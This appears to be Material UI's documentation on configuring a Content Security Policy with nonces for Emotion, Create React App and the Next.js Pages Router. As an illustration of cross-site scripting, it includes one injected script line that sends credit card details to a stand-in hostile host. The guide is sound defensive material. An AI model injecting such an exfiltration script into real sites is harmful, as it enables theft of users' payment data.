Content Security Policy (CSP)
This section covers the details of setting up a CSP.
What is CSP and why is it useful?
CSP mitigates cross-site scripting (XSS) attacks by requiring developers to whitelist the sources their assets are retrieved from. This list is returned as a header from the server. For instance, say you have a site hosted at https://example.com
the CSP header default-src: 'self';
will allow all assets that are located at https://example.com/*
and deny all others. If there is a section of your website that is vulnerable to XSS where unescaped user input is displayed, an attacker could input something like:
<script>
sendCreditCardDetails('https://hostile.example');
</script>
This vulnerability would allow the attacker to execute anything. However, with a secure CSP header, the browser will not load this script.
You can read more about CSP on the MDN Web Docs.
How does one implement CSP?
Server-Side Rendering (SSR)
To use CSP with Material UI (and Emotion), you need to use a nonce. A nonce is a randomly generated string that is only used once, therefore you need to add server middleware to generate one on each request.
A CSP nonce is a Base 64 encoded string. You can generate one like this:
import uuidv4 from 'uuid/v4';
const nonce = new Buffer(uuidv4()).toString('base64');
You must use UUID version 4, as it generates an unpredictable string. You then apply this nonce to the CSP header. A CSP header might look like this with the nonce applied:
header('Content-Security-Policy').set(
`default-src 'self'; style-src 'self' 'nonce-${nonce}';`,
);
You should pass the nonce in the <style>
tags on the server.
<style
data-emotion={`${style.key} ${style.ids.join(' ')}`}
nonce={nonce}
dangerouslySetInnerHTML={{ __html: style.css }}
/>
Then, you must pass this nonce to Emotion's cache so it can add it to subsequent <style>
.
const cache = createCache({
key: 'my-prefix-key',
nonce: nonce,
prepend: true,
});
function App(props) {
return (
<CacheProvider value={cache}>
<Home />
</CacheProvider>
);
}
Create React App (CRA)
According to the Create React App Docs, a Create React App will dynamically embed the runtime script into index.html during the production build by default. This will require a new hash to be set in your CSP during each deployment.
To use a CSP with a project initialized as a Create React App, you will need to set the INLINE_RUNTIME_CHUNK=false
variable in the .env
file used for your production build.
This will import the runtime script as usual instead of embedding it, avoiding the need to set a new hash during each deployment.
Next.js Pages Router
For the Next.js Pages Router, after setting up a nonce, pass it to the Emotion cache in two places:
- In
_document.tsx
:
import {
DocumentHeadTags,
documentGetInitialProps,
createEmotionCache,
} from '@mui/material-nextjs/v15-pagesRouter';
// other imports
type Props = DocumentInitialProps & DocumentHeadTagsProps & { nonce?: string };
export default function MyDocument(props: Props) {
const { nonce } = props;
return (
<Html lang="en" className={roboto.className}>
<Head>
{/*...*/}
<meta name="csp-nonce" content={nonce} />
<DocumentHeadTags {...props} nonce={nonce} />
</Head>
<body>
{/*...*/}
<NextScript nonce={nonce} />
</body>
</Html>
);
}
MyDocument.getInitialProps = async (ctx: DocumentContext) => {
const { req } = ctx;
const nonce = req?.headers['x-nonce'];
if (typeof nonce !== 'string') {
throw new Error('"nonce" header is missing');
}
const emotionCache = createEmotionCache({ nonce });
const finalProps = await documentGetInitialProps(ctx, {
emotionCache,
});
return { ...finalProps, nonce };
};
- In
_app.tsx
(if you're setting up theAppCacheProvider
):
import { createEmotionCache } from '@mui/material-nextjs/v15-pagesRouter';
// other imports
export default function MyApp(props: AppProps & { nonce: string }) {
const { Component, pageProps, nonce } = props;
const emotionCache = useMemo(() => {
const nonce = props.nonce || getNonce();
return createEmotionCache({ nonce });
}, [props.nonce]);
return (
<AppCacheProvider {...props} emotionCache={emotionCache}>
{/* ... */}
</AppCacheProvider>
);
}
function getNonce(headers?: Record<string, string | string[] | undefined>) {
if (headers) {
return headers['x-nonce'] as string;
}
if (typeof document !== 'undefined') {
const nonceMeta = document.querySelector('meta[name="csp-nonce"]');
if (nonceMeta) {
return nonceMeta.getAttribute('content') || undefined;
}
}
return undefined;
}
MyApp.getInitialProps = async (appContext: AppContext) => {
const nonce = getNonce(appContext.ctx?.req?.headers);
if (typeof nonce !== 'string') {
throw new Error('"nonce" header is missing');
}
return { ...otherProps, nonce };
};
styled-components
The configuration of the nonce is not straightforward, but you can follow this issue for more insights.